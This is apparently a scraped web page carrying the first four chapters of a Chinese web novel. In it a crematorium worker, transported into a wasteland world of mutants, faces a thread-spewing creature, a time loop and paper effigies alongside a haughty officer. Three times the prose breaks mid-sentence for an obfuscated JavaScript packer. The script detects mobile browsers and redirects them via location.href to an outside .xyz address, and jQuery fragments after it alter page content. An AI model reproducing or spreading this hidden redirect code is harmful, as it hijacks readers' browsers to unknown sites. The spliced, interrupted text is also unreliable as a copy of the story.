《上班不能织毛衣吗》 1. 棺外敲门声 墨绿色的丝线层层叠叠包裹成一个目测两米高的巨大茧壳，似乎有个“人”一样的活物被裹紧在里面。于是比起茧壳，看起来更像个披着一身绿色蛛丝的人形大蜘蛛。 废弃的火葬场告别厅里空无一人、寂静无比，那东西探寻着什么，在原地蛄蛹着。 崔美慌不择路，只好藏在告别厅的一口破旧棺材里。 她抬手顶着棺材盖推了推，撬开个缝隙，悄悄向外面望去，就看到了惊得她一身冷汗在不远处蛄蛹着的那东西。 刚刚在后面追着她跑的，就是这玩意吗？ 这会儿那些墨绿色丝线沉默着，以那个“人”为中心，缓缓向四周喷涌而出。有些交错着黏着在屋顶，线头堆积成黏稠的一坨又一坨，最后垂坠到地面。 没多久丝线就会蚯蚓一样，寻着味儿蔓延，直到找到崔美藏身的这口棺材。 崔美一想到那东西或许会顺着棺材的缝隙钻进来，爬上她的身体，最后再把她吞噬，并不令她害怕的火葬场，都开始透着莫名阴森可怖的气息。 眼看着她就要变成另一个同样裹着丝线的人形蜘蛛，而此刻除了藏在棺材里，她想不到任何逃命方案。 毕竟这是崔美头一回在废土世界出外勤。 而不出意外，外面那个看不清脸，也分辨不出到底是不是“人”的东西，就是崔美今天出外勤要应对的任务对象。虽然她是来解决那东西的，但眼看就要被解决了。 崔美欲哭无泪，她感觉自己是不是被这个该死的系统诈骗了？ 在这之前，系统告诉她，出外勤不过就是抵达任务现场，找到线头，缠好线团之后，就可以收工大吉。 现在倒好，线头没找到，还要被一个喷着恶心丝线的玩意追着杀；收工大吉也没体验到，倒是眼看着就要GAMEOVER大吉。 她心里泄了一半的气，小心翼翼的松了顶着棺材盖的手，沉重的棺木板撞击还是发出了砰的一声，在寂若死灰的空间里显得格外响。 “二狗，这就是你说的体验轻松任务，融入文明废土生活？” 【安全警告！安全警告！百米范围内风险提示】 名叫二狗的系统执着地在崔美脑中响起足够令她耳鸣的警报音，没有回答她任何问题。 系统久违地出现，让崔美猛地回过神，安全警告？难道那个人形蜘蛛在向着她的方向移动吗？她甚至开始懊恼自己还是不够谨慎，没想到刚才那一声响，居然会吸引外面那东西的注意！ 几乎是同时，有东西在轻轻敲崔美头顶的棺材板。 哒———哒、哒！ 警报不是说那东西还在百米左右吗，这速度是不是太快了点？这东西甚至还怪礼貌的，要杀她之前还先要敲敲门预告吗？ 既然死到临头，崔美来不及顾虑太多，她再次伸手推向棺材盖，想再观察一下外面的情况，刚刚还能推动的棺材板，此刻却纹丝不动。并不是她力气不够大，而是有什么东西压在了上面。 崔美只好透着老旧棺木破损开的狭窄缝隙往外看，隐约看到有人站在棺材旁，挡住了眼前一部分光亮。 她屏住错乱的呼吸，要非常仔细，才听得到棺材外面的蜘蛛“人”还在发出那种额额的叫声，以及嗖嗖嗖地释放着绵密错综的丝线的声音，似乎确实还在百米外。 而近在咫尺的这位，离得太近，又难以判断是敌还是友，崔美只能透过缝隙隐约闻到这个人身上散发出的味道。 似乎是柑橘味。 哒———哒、哒！ 又是见鬼的敲击声，不是蜘蛛人在敲门，是外面的那个人？ 昏暗的棺材里，崔美摸索着身上的装备，她这种疗养处的护工，原本就不是需要面对危险的工种，工具包里更没有任何可以防身的物品，除了外勤工作的辅助工具，只有随身携带的金属钩针。 不管是蜘蛛人还是外面的那位，以崔美这个普通人类公民的身体，都很难有可以抗衡的可能。 搞不好瞬间就死了。 接着，更长一段敲击声响起。 那声音原本并不大，透过棺木传递到崔美耳朵里时却无比清晰，她屏息感受着再次响起的声音，心跳随着敲击声也一下一下的同频率跳动着。 竟然是摩斯密码。 Q、U、I、E、T。 安静。 崔美回忆着刚刚两次怪异的敲击声，一模一样的频率，她在黑暗中用手指敲击手背重复着——哒———哒、哒。 如果不是巧合，并且崔美没有理解错误，它们代表着字母“K”。而这个具有安抚意义的字母K，和后面那一长串的敲击，都在向棺木内的崔美传递着一个信息： 保持安静，别怕。 【安全警告！安全警告！五十米范围内风险提示】 【安全警告！安全警告！三十米范围内风险提示】 系统二狗的安全警报又一次在崔美脑中响起，响起的间隔却越来越短，狗叫似的系统音不再好笑，反而变成了死亡倒计时。 崔美不敢轻举妄动，她猜不到棺材外会是什么人，甚至是不是人都不一定。她从腰间的压缩口袋里拿出那对钩织用的金属钩针，对着棺木口的方向，紧紧攥在手里。 【安全警告！十米范围内风险提示】 崔美手心里不断渗着汗，顺着她攥紧的钩针滑了下去，警报音却怪异地停止了叫响。而不出意外，那个蜘蛛人一样的巨型玩意应该已经站在了棺材外面。 刚刚那个敲击棺木安抚崔美的声音，此刻也消失了。 轰—— 巨大的声响震得崔美藏身的棺木跟着一齐晃动，伴随震天的响动声，一股热浪从棺木缝隙钻了进来。崔美蜷缩着在棺材里整个人向前扑，扶向棺木板的手被穿透木板的热度烫得猛地缩回去。 崔美不敢贸然在这会儿打开棺材，她忍受着热气的蒸腾和窜进来的灰尘，似乎过了三五分钟，“咚——”的一声，棺材盖被掀翻，地面的尘土被砸翻了个儿。 【安全提示：风险已解除】 二狗的警报音在崔美脑中兴奋地喊道。 扇了扇眼前滚滚烟尘，崔美才终于看清楚，有个人站在浓烟飞扬的棺材旁，俯身看向她。 居然是他？！ 眼前的人，并不是她第一次见。 除了“冤家路窄”，崔美想不到别的词来形容当下的境况。崔美下意识对比着，感觉现在的情形，也并不会比刚刚被蜘蛛人追着逃命的时候好上多少。 “打算住里面？” 站在棺材外面的人似乎对崔美会在这里出现并不感到意外，他瞥了眼还蹲在棺材里略显狼狈的人，拍了拍自己手上的灰尘，居高临下地打量着她，随后并不是很愿意地向崔美伸出只手。 崔美无视掉他那副带着高傲神色伸出的“援手”，扶着自己蹲得酸麻的腿哆哆嗦嗦站起身，单手撑着棺材边沿向外利落一跳，向外跳的瞬间，崔美瞥见他迅速抬手扶稳了因为受力而晃动的棺材。 “谢谢。”崔美说。 这个周身浮动着红紫色能量的人，名叫明仲。 崔美看向明仲身后不远处被炸成碎片的蜘蛛人，却头疼得叹了口气。命是保住了，可任务对象也被炸碎了，她要怎么完成外勤任务，要怎么跟疗养处交差？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15917600|177027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 救了崔美的是明仲，而炸坏她任务对象的人，刚好也是明仲。 手指敲棺木的声响唤回崔美的思绪，明仲冷着张脸看向明显不太在状态的崔美， “工作而已，谈不上谢。” 一小时前。 按照外勤工单上标注的250号任务信息，崔美独自乘坐班车来到了距离任务地点几百米外的接驳处，她反复核对着任务地点的准确地标，才终于确认眼前这一片荒无人烟的地方，确实是任务地“归墟场”附近无误。 这里怎么看都是个废弃火葬场，整片区域温度都过低，透露着诡谲的宁静。 崔美却不感到害怕。 一脚跨过警戒带，崔美正准备往标红的“归墟场”方向前进，却听到身后有人叫住了她。 “前面那个小姑娘，封闭区域很危险，无关人员不能随便进入。” 闻声，崔美回过头，看到一辆豪华班车停在刚刚的接驳处，有五六个人从车上走下来。这几个人无一不长得高大健硕，身穿的作战服凸显身材，看起来材质更特殊，也更显高级。 跟崔美的护工工服完全不同。 一个衣着跟其他人一样，细节处却格外显得精致打扮的男人走在队伍最前面，那人皮肤似乎比崔美还要白皙透亮，他冷着脸走到崔美面前。 “请你撤离警戒区域。” 白皮男似乎感受到了什么异常，眉头紧紧皱在一起，拽住了她的胳膊，“你是普通公民？那更不能往里走了。” 崔美挣开被拽住的胳膊，仰头看向这个面色难看甚至带着些嫌弃、言语间也并不客气的人，没猜错的话，他们应该是联合政府其他部门的职工。 嚷嚷着喊谁小姑娘呢？这人又是哪位啊？ “啊……请问您是……”，崔美怯懦着问道。 那人从作战服里拎出代表身份的工牌，上面写着：机械武装处，明仲，B级。 “归墟场内有非正常异能波动，无关人员进入只会被污染，这已经设置了警戒带，为了普通公民的安全考虑，请你撤离，不要影响我们工作。” 明仲扬了扬被甩开的手，从口袋里拽出一块手帕擦拭着手，“普通公民来这种地方，是找死吗？” 崔美也掏出工牌，她看着明仲那张古板的脸，轻声说， “我、我也是来这边工作的。” 明仲难掩厌恶的表情，向后退了一步才看清崔美工牌上的信息：疗养处，崔美，普。 他打量着眼前个子不矮但怎么看都瘦弱不堪一击的普通公民，感到不可思议。这是明仲头一回在工作场合遇到普通公民职工，但他对这些并不感兴趣。 “哦？那就不打扰了。” 明仲戴上手套，对身边的同事挥挥手，头也没回地踏入警戒区走进归墟场里。 “好、好的。”崔美应道。 看着那群机械武装处的员工走远，崔美忍了又忍的怒气才得以释放，她气得原地跳起来跺脚：这高高在上的装货B级在高贵些什么，你是来这边工作的，难道别人不是吗！ 进入归墟场后，这里面空间大得不可思议，崔美被半路撞见的发疯蜘蛛人追着跑圈的时候，根本没看到有其他人影。 而机械武装处那么多人，怎么就偏偏撞上他。 崔美听到明仲还是那副面带嫌弃的表情说着“工作而已，谈不上谢”，骂人的话哽在喉咙里，硬挤出一丝笑容，她觉得自己得说点什么，不然骂人的话分分钟自己就会钻出来。 明明看起来很嫌弃崔美的人，却低头凑近她，压低了声音。 “你躲在那，不就是希望能被英雄救美吗？” 2. 收工不大吉 如果不是为了维持这个世界里原主的人设，崔美早就对说话不中听的明仲疯狂输出、恶语相加了，按照她原本性格，搞不好已经直接动手揍之。 三天前，崔美才穿越到这个名叫查奥斯的世界。 这是一个由拥有异能的变异人类，和极少数普通人类构成的废土世界。 数年前，这片土地上的人类遭遇了一场持续很久的宇宙辐射，而在经历了一代又一代数年的繁衍更迭后，潜藏在身体内的辐射副作用开始显现，基因进行着不规律变异重组，大部分人类开始拥有比色彩更五花八门的异能。 好处是变异过后的人类从此远离了疾病和基因缺陷，甚至死亡带来的伤痛。 但个别变异公民的异能在宇宙波影响下会异常波动，甚至有些普通公民为了强制变异，铤而走险进行非法能量买卖，这可能是人类产生变异后为数不多的糟心事。 这些情况都有可能引发威胁公共安全的事故，因此查奥斯联合政府下设立了特事管理处、机械武装处和疗养处等部门。 崔美会接到归墟场的外勤工单，正是因为巡查部门发现在这个荒废了不知道多少年的火葬场里，异能波动异常急需处理。 如果不是崔美亲眼见过喷着绿色丝线的蜘蛛人长什么样子，很难确定地上一坨又一坨被炸得面目全非的东西是什么，在这样阴气森森的环境里，那些玩意看起来更像是燃烧过的纸扎祭品。 但没有任何浑浊的异能残留。 而崔美面前对她露出一脸厌恶表情的明仲，就隶属于机械武装处，这个部门里的员工通常都是具有攻击性异能的B级公民。 拥有着瞬间就让冒着绿丝的蜘蛛人四分五裂的爆破能力，这个工牌上评级为B级的人，怎么看都不是一个可以随便招惹的家伙。 崔美穿越前这个身体的原主，虽然就职于联合政府的疗养处，却是个业绩平平的普通护工，甚至还是个普通公民，在查奥斯无依无靠，住着联合政府提供的免费员工宿舍，过着靠工作积攒的工分维持日常生活的日子。 这具身体的原主，跟崔美同名同姓，同样的25岁，甚至连长相都一模一样。 但也仅限于外表相同而已。 系统可以对身体在一周之内发生过的记忆进行回溯，原崔美性格孤僻、没有朋友，甚至在职场里有点窝囊和好欺负，不工作的时候就窝在宿舍里哪也不去。 回溯七天的信息量少得可怜，对崔美而言甚至毫无价值。 穿越过来的这三天里，每当崔美遇到陌生人，都要尽力模仿着回溯信息里原崔美那副唯唯诺诺的模样，她并不想因为自己的突然出现而对这个人原本的生活造成什么特别的改变，她只想尽快回到自己生活的那个世界。 未来世界光怪陆离得像在拍科幻片，但既然都穿越到了未来世界，系统却还让她是个平平常常的普通人，要不是联合政府法律不允许，她都想搞个强制变异体验体验。 这个倒霉系统对她实在是不友好。 而眼前这位身负B级异能、就职于机械武装处的人，对她更是十分不友好。 原主跟这个人，甚至跟这个部门都没有半点交集，避免过多纠缠，崔美想快点从当下这个诡异的状况里脱身。 “你在说些什么呀？我怎么听不懂呢？” 她有一双只要颤动着睫毛就会显得格外楚楚可怜的眼睛，崔美颤抖着抚了抚胸口，一副还惊魂未定的模样说着，“我是真的很害怕，才会躲在那里，谁知道会这样……” 明仲这个人看起来脾气并不太好，面对她模仿的窝囊版崔美时甚至带着些敌意，她刻意加重了模仿的窝囊程度。 见崔美哽咽着要哭的样子，明仲往后退了一步，眯起眼睛环抱着双臂，上下打量起她。 “你这样的人，是怎么进的疗养处？” 还是那副可怜巴巴的样子，崔美轻叹着气，把手往袖子里缩了缩，支支吾吾了半天，没吭声。随后明仲露出了轻蔑又嫌弃，似乎巴不得崔美这个碍眼的人，能够立刻从眼前消失的表情。 还带了些别的，崔美看不太懂的情绪。 但她也不是很想去了解。 “不管怎么说，还是谢谢你救了我，既然那东西已经被解决掉了，”崔美哆嗦着指了指那一坨又一坨的残骸，“我就先收工告辞……” 说着，崔美转身就打算跑路。 刚走没两步，崔美就被人揪着衣服领子给拉了回去。 揪着她领子的，显然只能是明仲。 崔美压着怒火，就着那个被人揪着衣领的姿势，委屈又疑惑的样子扭头看向明仲，“你弄疼我了，我不能走吗？” “你跑什么？”明仲把她拽了回来，又不耐烦地撒开手。 “解决掉了？收工了？你到底是怎么进的疗养处，职工培训到底怎么做的？” 明仲一连串的问题，把崔美问得一头雾水。 作为查奥斯联合政府的重要部门，疗养处内部通常负责变异人的收容。 被内部接收的变异人，身体产生的异能波动已经被压制，并且由外勤护工临时处理过，转运到疗养处时几乎是半残废状态，只剩下没什么威胁的异能废料，被大家称作“患者”，或是“病人”。 异能波动产生暴走时，浑浊的能量会从身体向外扩散，在身体周围产生五颜六色、错综复杂的毛线状物质，并无序地形成茧壳。一旦形成密闭的茧壳，以这些毛线状物质为中心的空间会进一步产生其他影响。 查奥斯把这种物质叫：无物。 护工们的工作就是在无物形成密闭茧壳前，找到其中的线头，再通过梭这种工具把杂乱无章的无物收成线团，直到再也不能从患者身上提取出毛线状的异能废料。 但这种方式使线状的无物，从蚯蚓状无穷变细到蛛丝状，无物含量逐渐减少，却无法被彻底清除。 被收集的线团本身同样无法被销毁，也不能加以利用，只能废物般储存在疗养处城郊的仓库里。 长此以往，无物就成了查奥斯里的特殊污染物。 回忆着系统对她进行过的简易职工培训，崔美才想到哪里不对劲，那个吐着绿色蛛丝的蜘蛛人看起来被摧毁了，为什么残骸上却没有显示出半点浑浊的能量？ 崔美咬着下嘴唇上一块死皮，职工培训她确实没做过，甚至她也想知道，原主到底怎么进的疗养处。 被蜘蛛人追着满火葬场逃命的时候，崔美还怀疑过原主是不是走后门才得到这份工作的。 尽管患者不太可能重新恢复异能并造成危险，但毕竟面对的是变异人这个群体，哪怕是疗养处这种低级别的政府单位，招聘时也几乎只会招有异能的公民。 能通过联合政府招聘考核的公民并不多，崔美甚至想过，既然原主有本事通过联合政府的层层考核入职疗养处，就算她只是一个毫无异能的普通公民，肯定有她过人之处。 “普通公民总是这么搞不清状况，还非要出来工作。” 明仲显然并没有因为她暂时的沉默就打算放过她，甚至把矛头指向普通公民这个群体。 崔美这才想到这人一直以来表现出的那些多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15917601|177027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余的、看不透的情绪，极有可能是来自对普通公民的反感，甚至厌恶和憎恨。 “放心，我会找到那个线头，做好我该做的工作再收工的。”崔美抚平着被明仲揪得起了褶子的衣领，导致归墟场里异能波动异常的源头，看来并不是刚刚被碎尸的蜘蛛人，崔美的外勤任务还没有结束。 还是那副大部分人听了都会心软几分的软弱声音，崔美对明仲摆摆手告辞。 “谢谢你的好心提醒。” 随后转身走出这间破败的、遍地残骸的告别厅。 崔美一脚迈出告别厅的同时，她的耳边响起清脆的咔嚓一声响，循着声音，她想要回头看，却突然涌上一阵没来由的眩晕差点摔倒在地。她只好闭上眼睛抬手按压着太阳穴，直到勉强站稳后，才重新睁开眼。 她已经不在归墟场的告别厅里了，而是在刚刚到达外勤坐标的接驳站。 崔美看着自己已经跨过了明黄色的警戒带的一只脚，有种怪异的既视感涌了上来。 还没等她仔细缕清那种既视感到底是什么，来自身后的呼喊声又一次扰乱了她的思绪。 “前面那个小姑娘，封闭区域很危险，无关人员不能随便进入。” 转过身，崔美眼看着刚刚还跟她在告别厅里的明仲，这会儿正和他那几个机械武装处的同事朝她走过来。崔美从怪异的既视感中抓到了一句话，她低声囔囔道，“请你撤离警戒区域。” “请你撤离警戒区域。” 明仲像从来都没见过崔美一样，依然皱着眉头问，“你是普通公民？那更不能往里走了。” 那种既视感带来的感官体验越来越清晰，崔美甚至预判了明仲会用哪只手去扯住她胳膊，就在明仲伸手的瞬间，她下意识闪躲开。 明仲的手扑了个空，面前这个女孩居然比他的动作更快速，就像能猜到他想要做什么，于是疑惑着歪了歪头。 崔美毫不犹豫，迅速跳出警戒带外，与此同时，耳边再一次响起了那声“咔嚓”，随之而来的，是那阵熟悉的眩晕感。 她本能地眨了眼，再睁开眼，发现自己依然是一脚跨过警戒带的姿势，刚刚已经站在她面前的明仲却消失了。 “前面那个小姑娘，封闭区域很危险，无关人员不能随便进入。” 又一次。 同样的场景，同样的人，同样的一句话。 崔美早上站在派单机器前抽出工单条时，怎么也不会想到外勤还能遇到这种事。 她原本以为，到了那个什么归墟场，只需要在疗养处的病房一样，把病人身上的无物缠在梭上，就可以收工了。 如果刚进到归墟场内，就被一个会蹦会跳吐蜘蛛丝的“人”追杀这件事，已经很离谱了。 那么现在更加离谱的是，她似乎陷入了这个世界的“鬼打墙”。 在废弃火葬场里遇到鬼打墙，想想可能也不是什么令人难以接受的事。 崔美似笑非笑地看着眼前的明仲，对他说，“如果你对我毫无印象的话，那我建议你和你的同事们，不要迈进这个区域。” 说着，崔美指了指脚下的警戒带。 “哦？那你是……” 而同时，明仲已经一脚踏入警戒区域，向崔美问了一个在他们上次见面时，崔美也问过他的问题。 “不重要，一个来干活的，反正你也记不住。” 崔美转身走进归墟场，想起什么似的又停下脚步，她回头看着明仲，突然笑了。 “啊，不过如果一会儿在里面遇到我，记得救我哈，英雄。” 3. 来都来了 经常请吃席的纸扎人 崔美其实很怀念几天前还没穿越那会儿的生活。 她一毕业就进了火葬场工作，工作内容大到入殓告别式，小到扎纸人叠元宝给墓地清洁，一干就是好几年。天还没亮就去上班，过了中午就可以下班，靠着织毛衣就能打发掉那些通宵夜班的时间。 这种地方，其他人或许会产生敬畏甚至恐惧心理，对崔美而言，这种感觉几乎不存在。 待在这样的地方，她只会觉得熟悉和自在。 在崔美第一次踏入归墟场时，哪怕是在被连蹦带跳的蜘蛛人吐着丝追着跑的时候，尽管会怕死，却不会太恐惧。 她却不得不再次走进了归墟场里。 这里怎么看都是一个跟她日夜工作的场所没太大区别的地方，可她隐隐察觉有些堆积恐惧感的东西开始冒头。 崔美眼睛所看到的入口和出口统统失去了作用，不管尝试多少次，她都走不出归墟场，只能重复着陷入“鬼打墙”的漩涡里。 不彻底解决掉，就会一直重复着踏入警戒区域后发生过的事。 归墟场里异能异常波动的源头，应该就是她外勤需要找到的那个“线头”。 或许也是能带她从鬼打墙漩涡里走出去的钥匙。 不管是被喷着绿色丝线恶心蜘蛛人追着跑，还是要继续装窝囊面对那个高傲的B级男，哪件事想起来都会让她徒增疲惫。 于是这次进入归墟场内部时，崔美换了另一条路。 最初那次，她从大门直接走进去，沿着长长的走廊刚拐进告别厅区域，没多久就撞见了原地喷线的蜘蛛人，紧接着就是要命的追击和逃命过程。 崔美想到最后烧成灰烬的那东西，它身上既没有浑浊异能残留，也没有线头，还是尽量避开的好。 最主要的原因是，那玩意太难缠。 同样难缠的，还有那个不太能瞧得起他们普通公民的明仲。 尽管上次这个人误打误撞救了崔美，她也还是想避开。 “二狗，不想我死的话，就帮忙指条路。” 崔美低声唤着系统。 这个系统只在她刚刚穿越到这时，迅速丢下一堆信息让她了解这个世界，除了告知她【得到一切答案的前提，是绝对不能在查奥斯走向死亡】。 交代完这些，二狗就再也没有出现过。 再一次出现，就是遇到蜘蛛人时响起的安全警报。 但现在，二狗保持着长久的沉默，完全无视了她的需求，就像从来都没存在过。 崔美谨慎地绕过告别厅的长廊，拐了个弯，如果她没猜错，那里应该是归墟场的后院区域。她隐约听到类似雨滴落下的声响，却又感觉不大一样，那声音从拐角处后面传出来。 崔美拐过拐角，映入她眼帘的，居然是一大片菜地。 查奥斯这个地方，与崔美在文艺作品里看到的那些常规废土世界似乎很不一样。 联合政府经年来坚持不懈的努力，大部分区域已经不再被持续污染，公民可以在政府管辖的安全区域内自由活动。 这里乍一看，与她原本生活的那颗水蓝色星球很相似，拥有着同样的日照、海洋，四季分明，植被丰富，甚至开发了无穷无尽的资源，能源源不断地供养着查奥斯世界的公民。 只不过除了人类这种“动物”，查奥斯已经不再能看到其他动物存在。 与其说是经历了末日的废土世界，不如说这里已经成为一个新世界。 崔美面前的这一片，说是菜地也并不完全准确，看起来原本是一片荒芜不知道多久的菜地。 在原本应该种着蔬菜水果的土壤里，此刻却栽种着纸扎的植物。 纸扎的萝卜、茄子、大白菜甚至西红柿的秧苗，破土而出，怪异的红红绿绿怎么看都是被水浇得褪了色。 那怪异的雨滴落下声，是水浇在纸扎的蔬菜上。 而浇菜的“人”，竟然也是纸扎人。 吐绿丝线的巨型蜘蛛人只会让崔美觉得有些恶心，顶多再有一些巨物恐惧感，而眼前的画面，带着独属于阴间的诡异。 她甚至感到了些许荒谬。 传说中的未来废土世界里，不仅有鬼打墙，纸扎人还会跳起来种菜。 完全不是出自自愿，崔美的脚钉在了地上，她担心不管是前进还是后退，都有可能惊动那个正在浇菜的纸扎人。 她没办法判断，此刻还在认真浇菜的纸扎人，会不会像巨型蜘蛛人那样，吐着恶心的丝线跳起来追着她跑。 “是你？” 崔美进也不是、退也不是，两难着犯愁的时候，身后响起了那个缠人的、十分不想听到的声音。 怎么又是这个明仲。 同时听到明仲声音的，不止崔美，还有那个纸扎人。 原本背对着崔美的纸扎人，开始姿势别扭的握着浇水壶，身体一卡一卡的转动着，转向崔美的方向。 看“打扮”是个女性纸扎人。 “我不是说过封闭区域很危险！” 明仲大步向前走了几步，正要继续说什么时，注意到了那个终于转过身来的女性纸扎人的脸，原本就皱起的眉头变得更深。 “这玩意看着怎么跟你们疗养处的白见真这么像？” 迅速察觉到明仲话里的古怪，崔美问，“你怎么知道我是疗养处的人？” 听到崔美这样问，明仲显然一愣，像是碟片故障般卡顿片刻，重复着问自己。 “我、怎么、知、道、你是、疗、养处、的、人……我、怎、么知、道的……” 片刻，他就从混沌中再次恢复刚刚看着纸扎人时的神色，从作战服里拎出代表身份的工牌向崔美展示：机械武装处，明仲，B级。 这个明仲像被设置好了什么程序，一定要在归墟场出现，并完成自我介绍这一环节，甚至跟崔美产生交集。 眼前发生的事此刻在崔美看来，开始变得幽默起来。 她还没来得及笑出声，就察觉到身旁的明仲在缓缓汇聚着自己的能量，之前她躲在棺材里，完全没有机会看到他是如何摧毁的巨型蜘蛛人。 红紫色的流光从地面集结到他的手掌，那光亮甚至发出噼啪的响声，像一条带电的蛇盘踞在他的手上，冲纸扎人的方向吐着红紫色光亮的芯子。 这应该就是明仲的异能，看起来随时可以让眼前的纸扎人就地消失。 想到这，崔美迅速走到明仲跟前，拉住他没有汇聚能量的另一边手臂，慌乱地回答着刚刚的问题。 “对对对，是我的同事，只不过不熟，我脸盲。” 系统回溯里，崔美并没见过名叫白见真的同事，不管是不是认识，她都下意识想阻止明仲攻击这个纸扎人。 眼前的纸扎人长着跟自己同事一样的脸，这件事怎么想怎么诡异。 不再思维卡壳的明仲甩开崔美，抬手指向那个纸扎人，继续问道，“白见真，你的同事，你连她都不认识？” 崔美总不能告诉明仲，自己穿越过来才三天，连回员工宿舍都要靠着导航才能找到路，同事都有谁怎么可能个个都记得清。 但听明仲的语气，作为疗养处的职工居然不认识白见真，似乎是一件很不合理的事。 甚至明仲这样看起来不可一世的其他部门职工，也认得白见真。 还在琢磨着怎么能编个谎话把明仲糊弄过去，沙哑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15917602|177027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又虚弱的第三个人的声音打断了崔美飞走的思绪。 “你们、回、来了、吃、饭、吧。” 纸扎人白见真维持着那个给蔬菜浇水的姿势，发出断断续续的声音，但纸扎人的嘴巴是画上去的，并不能动。 那声响来自纸扎人的身体深处。 紧接着，纸扎人“咔嚓”弯下腰，从地里拔出一个纸扎萝卜，它拎着那个纸扎萝卜，身体一顿一顿地朝崔美和明仲的方向走了过去。 明仲积蓄着红紫色异能的手掌犹豫着举在半空中，崔美冲他疯狂摇了摇头，“我同事！” 斟酌着，明仲终于放下手，收弱了能量，看样子似乎也在思考，为什么一个纸扎人会跟认识的人长得如此相像。 纸扎人最终停在崔美和明仲面前，抬手把纸扎萝卜一分两半，分别递给他们两个人。 “尝、尝、看。” 崔美和明仲不约而同地，盯着眼前撕成两半的纸扎萝卜，都没有任何动作。 “有线头吗？”明仲问。 崔美瞬间反应过来，又快速打量近在咫尺的纸扎人，摇了摇头，“完全没有。” “也没有任何浑浊的能量波动。” 明仲并没有收回掌心的红紫色异能流光，用另一只手，接过半个纸扎萝卜。 见明仲接过那个纸扎萝卜，崔美才敢伸手去接另外半个。 纸扎人见他们接过了萝卜，面无表情惨白的纸糊脸上，泛着红晕，身体里发出“咯、咯、咯”的笑声。 转身又走向菜地，拿起浇水壶继续给纸扎蔬菜浇着水。 “那接下来……” 崔美拎着手里的纸扎萝卜，正准备跟身旁这个看起来就经验丰富的B级商量看有没有什么对策，眼前瞬息发生的事，吓得她直接扔了手里的萝卜。 明仲神色间没有丝毫犹豫，他操起手里的纸扎萝卜，大力塞进了自己的嘴巴里。 甚至嚼了嚼。 然后他缓慢如卡碟般转动着身体，说着，“好、吃。” 崔美甚至来不及阻止他，把纸扎萝卜塞进嘴里的同时，她眼前的明仲就变了个样子。 明仲也变成了一个纸扎人！ 随后，明仲向着菜地的方向走过去，使用着这副纸扎的身体蹲了下去，拿起地上的小铲子，开始专注地除地上的杂草。 当然杂草也是纸扎的。 崔美忍不住大步冲了过去，掰过蹲在那认真除草的明仲的肩膀，“喂！明仲？” 缓缓抬头看了看崔美，那张与明仲极其相似的纸扎面孔看不出任何情绪，他什么都没说，低下头继续专注除草。 一边除草，一边嘟嘟囔囔地说着“太、乱、了”。 眼前的变故发生得太快，崔美再次看向那个给菜地浇水的纸扎女，才终于敢确定，哪里是什么长得像疗养处同事白见真的纸扎人。 那或许根本就是白见真本人，一个变成了纸扎人的白见真。 崔美从口袋里摸出工单条，上面显示着：查奥斯历35年3月13日，疗养处第250号工单任务，工分6，任务地归墟场，护工崔美，共1人。 她后退着，尽量远离面前两个专注菜地的纸扎人。 直到退了很远，她才想起什么，看向刚刚丢下纸扎萝卜的地方，却完全没了那半个萝卜的踪影。 “你们、回、来了、吃、饭、吧。” 纸扎白见真再一次发出声音，她看向崔美的方向，僵硬挥动手臂。 缓慢回过头去看身后，崔美看到不远处五个纸扎人缓缓移动。 崔美记得他们的模样。 是在归墟场外面接驳处见过的，明仲的五个同事。 4. 火葬场团建 关于吃席这种事，其实有一种非常微妙的感官刺激。 喜宴上大红大紫沉浸式的热闹非凡，和丧宴上压抑的沉重悲痛，不一样的情绪却来自同样的出口。 饶是崔美这种干了好几年殡葬的人，也还是受不了白事吃席时候的那种气氛，所以她其实几乎很少参与事后吃席这项活动。 尤其是像现在这样，跟一群纸扎人围坐在一起吃席，对崔美而言，更是连做梦都不会有的体验。 崔美的“席位”在一个角落里，身旁是纸人白见真，桌子对面是纸人明仲，虽然跟这两位也不是很熟悉，跟其他纸扎人比起来，至少是有名有姓的。 坐下前崔美就在小心观察着地形，吃席的地方就在骨灰堂旁边，骨灰堂走出去是一条通道，连接着很多个像食堂一样的空间，整整齐齐摆着很多长条桌，根本看不出这地方以前在归墟场是用来干吗的。 总归不像是用来吃席的。 顺着她坐着的角度往外看，甚至可以看到骨灰堂里一排排寄存骨灰的架子，谁会在骨灰堂门口摆席呢？ 其他纸人也都围坐在一个长条桌周围，桌子的中央摆着一口巨大的锅，里面装着红色的液体，那液体看起来放置有些年头了。 乍一看像浓重的血水，崔美小心地吸着鼻子仔细闻了闻，似乎只是些墨水。 而纸人们的面前，摆放着吃席用的“碗筷”。 “碗”是一个浅口纸盒子，“筷子”则是一支毛笔。 